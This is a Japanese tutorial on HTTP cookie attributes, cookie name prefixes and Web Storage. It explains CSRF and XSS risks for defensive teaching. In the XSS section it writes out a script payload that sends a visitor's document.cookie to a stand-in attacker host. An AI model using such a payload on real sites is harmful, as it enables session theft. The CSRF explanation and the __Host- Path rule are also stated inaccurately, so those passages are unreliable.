Cookieとは
Webサーバーからブラウザに送信され、ブラウザに保存されるデータのこと。以降クライアントからサーバーへのリクエストには保存されたCookieが添付される。ユーザーのセッション情報・データの管理に使われることが多い。
Cookieの作成方法
サーバーからクライアントへのレスポンスにHTTPヘッダSet-Cookie: <cookie-name>=<cookie-value>
を設定すると、クライアントのブラウザにCookie(名前と値の組み合わせ)が保存される。以降クライアントからサーバーへのリクエストにはHTTPヘッダCookie: <cookie-name>=<cookie-value>
が設定される。
Cookieの設定
Cookieは、Set-Cookie
ヘッダに属性を指定することで有効期限や送信先など様々な設定をすることができる。例えばExpire
属性で有効期限を設定するときは下記のようになる。
Set-Cookie: <cookie-name>=<cookie-value>; Expires=<date>
Cookieの送信先の定義
Domain
、Path
、SameSite
などの属性を設定することで、Cookieの送信先を定義することができる。
Domain属性
Cookieの送信先の(Cookieを受信することができる)ホストを指定することができる。
Set-Cookie: <cookie-name>=<cookie-value>; Domain=<domain-value>
Domain属性を指定するとサブドメインを含むホストを指定することができるが、Domain属性を指定しなかった場合(デフォルトの場合)、Cookieを受信できるホストにサブドメインは含まれない。つまり、Domain属性を設定すると、Domain属性を設定しなかった場合よりも制限が緩和されることになるので注意。
Path属性
Path
属性でパスを指定すると、URLに指定したパスが含まれていないリクエストは送信されなくなる。
Set-Cookie: <cookie-name>=<cookie-value>; Path=<path-value>
例えば、Path=/docs
を設定すると、以下のパスを含むURLのリクエストは送信される。
/docs
/docs/Web/
/docs/Web/HTTP
SameSite属性
Strict
、Lax
、None
の3段階の値を指定して、オリジン間のCookieの送信可否を制限することができる。
Set-Cookie: <cookie-name>=<cookie-value>; SameSite=Strict
Set-Cookie: <cookie-name>=<cookie-value>; SameSite=Lax
Set-Cookie: <cookie-name>=<cookie-value>; SameSite=None
- サイトAでHTTPヘッダ
Set-Cookie
でCookieを発行(ここでSameSite
属性を設定する) - 外部サイトB(Aとは別ドメイン)に遷移
- サイトAに遷移
する場合、B→Aの遷移でHTTPヘッダCookie
でCookieを送信するかどうかを制限できる。
- Strict … Cookieは送信されない。
- Lax … GETリクエストの場合のみCookieを送信する。MDN Web Docsではモダンブラウザ(例えばChromeであればver 80から)のデフォルト値とされている。
- None … どのようなリクエストであってもCookieを送信する。(Chrome 80からは、
Samesite=None
を設定する場合はSecure
属性の設定が必須になる)
SameSite属性にStrictもしくはLaxを設定することで、悪意のあるCookie設定がしにくくなり、CSRF対策になる。
Cookieへのアクセス制限
Secure
属性やHttpOnly
属性を設定することで、意図していないところからCookieが読まれてしまう危険性を軽減できる。
Secure属性
Secure
属性を設定したCookieは、HTTPSプロトコルを使用したリクエストでなければサーバーに送信されない。
Set-Cookie: <cookie-name>=<cookie-value>; Secure
HttpOnly属性
HttpOnly
属性を設定したCookieは、JavaScriptのDocument.cookie
によるアクセスができなくなる。
Set-Cookie: <cookie-name>=<cookie-value>; HttpOnly
Cookieに有効期限を設定する
Cookieは、設定された有効期限を過ぎると無効になる。
Expires属性
Cookieの有効期限を日時で設定する。
Set-Cookie: <cookie-name>=<cookie-value>; Expires=Mon, 1 Jan 2020 01:01:01 GMT;
Max-Age属性
Cookieが無効になるまでの秒数を設定する。
Set-Cookie: <cookie-name>=<cookie-value>; Max-Age=600;
Expires
属性とMax-Age
属性を両方設定した場合、Max-Age
属性で設定した有効期限が優先される。
セッションCookieを利用する
Expire
もMax-Age
も設定されなかったCookieはセッションCookieになる。セッションCookieはセッションが終了したら削除される。
Cookieの扱い方
危険性
CSRF(Cross-Site Request Forgery)
SameSite属性の項であげた例のように、サイトA→サイトB→サイトAと移動するときのB→Aのタイミングで悪意のあるCookieを仕込まれてしまう可能性がある。
(例)会員登録機能があるWebサイトに、退会ページhttps://example.com/mypage/delete/
が用意されておりCookiesubmit=1
が送信されたときに退会処理が行われる仕様があった場合
- サイトAに悪意のあるスクリプトが組まれたサイトBのリンクがあり、そのリンクからA→Bに遷移する
- サイトBからサイトAに復帰するときに、退会処理が行われるCookie
submit=1
を設定して退会ページに遷移させられてしまうと、ユーザーは意図せず退会処理をさせられてしまう
この例だと退会処理が実行されるCookiesubmit=1
が、単純過ぎる(誰にでも再現できてしまう)ためこのような攻撃が可能になってしまう。値にランダムな文字列を設定したり、SameSite属性を設定してそもそも悪意のあるリクエストが送信されないようにしてしまうなどの対策が取れる
XSS(Cross-site scripting)
Webサイトを表示する処理に、<
や&
などのスクリプトを仕込むための文字のエスケープ処理が十分に用意されていなかった場合、悪意のあるスクリプトを仕込まれてせい舞う可能性がある。
(例)掲示板サービスなど、ユーザーがテキストを入力してフォームで送信→送信したテキストがサイトに表示されるサービスがあり、もし<script>
などの文字列を書き込まれてしまうとユーザーがページを表示しようとする時点でスクリプトが実行されてしまうような作りになってしまっていた場合
-
サイトに表示するためのテキストを入力するフォームに、悪意のあるユーザーが下記のようなスクリプトを入力する
<script> window.location="https://attack.com?"+document.cookie; </script>
- 上記のスクリプトが仕込まれたページにユーザーがアクセスしてしまうと、attack.comにそのユーザーのcookieがクエリパラメータとして送信されてしまう
これを防ぐためには、<
や&
などのスクリプトを仕込むための文字のエスケープ処理を十分に用意する必要がある。
Cookie名に接頭辞を設定する
Cookie名に接頭辞を設定することで、Set-Cookie
ヘッダに特定の属性を設定するように制約を課すことができる。
__Host-
Cookie名を__Host-
から始まる名前にすることによって、下記の条件を満たさないCookieはブラウザに拒否される。
Secure
属性が指定されている- 安全なオリジンから送信されている
Domain
属性を含んでいないPath
属性に\
が設定されている
__Secure-
Cookie名を__Secure-
から始まる名前にすることによって、下記の条件を満たさないCookieはブラウザに拒否される。
Secure
属性が指定されている- 安全なオリジンから送信されている
ブラウザーに情報を格納するCookie以外の方法
ブラウザーに情報を格納するCookie以外の方法としてWeb Storage APIの利用があげられる。Web Storage APIにはsessionStorage
とlocalStorage
がある。
- sessionStorage … セッションが終了するタイミングで消去されるストレージ
- localStorage … 明示的に削除しない限り永続的に有効なストレージ
Cookieに保存できるデータ量の上限が4KBであるのに対して、sessionStorage・localStorageには5MBのデータを保存することができる。